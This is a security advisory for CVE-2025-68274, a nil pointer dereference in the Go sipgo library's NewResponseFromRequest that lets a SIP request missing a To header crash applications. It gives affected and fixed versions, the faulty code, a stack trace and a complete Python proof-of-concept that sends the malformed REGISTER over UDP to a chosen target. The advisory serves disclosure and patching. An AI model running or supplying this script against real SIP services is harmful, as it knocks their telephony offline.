github.com/emiago/sipgo
Affected
- introduced
0.3.0, fixed1.0.0-alpha-1(semver)
Fixed versions
1.0.0-alpha-1
Fix
- Fixed version
1.0.0-alpha-1go get github.com/emiago/[email protected]
Advisory
Also known as: CVE-2025-68274, GO-2025-4244
SIPGO is Vulnerable to Response DoS via Nil Pointer Dereference
Description
A nil pointer dereference vulnerability was discovered in the SIPGO library's NewResponseFromRequest function that affects all normal SIP operations. The vulnerability allows remote attackers to crash any SIP application by sending a single malformed SIP request without a To header.
The vulnerability occurs when SIP message parsing succeeds for a request missing the To header, but the response creation code assumes the To header exists without proper nil checks. This affects routine operations like call setup, authentication, and message handling - not just error cases.
> Note: This vulnerability affects all SIP applications using the sipgo library, not just specific configurations or edge cases, as long as they make use of the NewResponseFromRequest function.
Technical details
The vulnerability is located in /sip/response.go at line 242 in the NewResponseFromRequest function:
if _, ok := res.To().Params["tag"]; !ok {
uuid, _ := uuid.NewRandom()
res.to.Params["tag"] = uuid.String()
}
Root Cause:
NewResponseFromRequest, the code attempts to copy headers from the request to the response. Since there's no To header in the request, no To header is copied to the response.res.To().Params["tag"] without checking if res.To() returns nil, causing a nil pointer dereference.Stack Trace:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x70 pc=0x10261fcb4]
goroutine 175 [running]:
github.com/emiago/sipgo/sip.NewResponseFromRequest(0x14000433e00, 0x191, {0x1026b074b, 0xb}, {0x0, 0x0, 0x0})
/Users/user/Documents/GitHub/sipgo/sip/response.go:242 +0x394
Impact
This vulnerability affects all SIP applications using the sipgo library when using NewResponseFromRequest to generate SIP responses.
Attack Impact:
How to reproduce the issue
To reproduce this issue, you need:
Steps:
sipgo-response-dos.py: ```python
#!/usr/bin/env python3
import socket
import sys
import time
import random
def create_malformed_register(target_ip, target_port):
call_id = f"sipgo-dos-{int(time.time())}"
tag = f"sipgo-dos-{random.randint(1000, 9999)}"
branch = f"z9hG4bK-sipgo-dos-{random.randint(10000, 99999)}"
# Craft malformed SIP request without To header
sip_message = (
f"REGISTER sip:{target_ip}:{target_port} SIP/2.0\r\n"
f"Via: SIP/2.0/UDP 192.168.1.100:5060;rport;branch={branch}\r\n"
f"From: <sip:[email protected]>;tag={tag}\r\n"
f"Call-ID: {call_id}\r\n"
f"CSeq: 1 REGISTER\r\n"
f"Contact: <sip:[email protected]:5060>\r\n"
f"Content-Length: 0\r\n"
f"\r\n"
)
return sip_message
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 sipgo-response-dos.py <target_ip> <target_port>")
sys.exit(1)
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = create_malformed_register(target_ip, target_port)
print(f"Sending malformed REGISTER to {target_ip}:{target_port}")
sock.sendto(payload.encode('utf-8'), (target_ip, target_port))
print("Exploit sent - target should crash immediately")
```
```bash
python3 sipgo-response-dos.py <target_ip> <target_port>
```
> Note: The key element is the missing To header in any SIP request, which triggers the nil pointer dereference.
High Basis: The source's own band: HIGH
0.3.0, fixed 1.0.0-alpha-1 (semver)1.0.0-alpha-1
1.0.0-alpha-1go get github.com/emiago/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0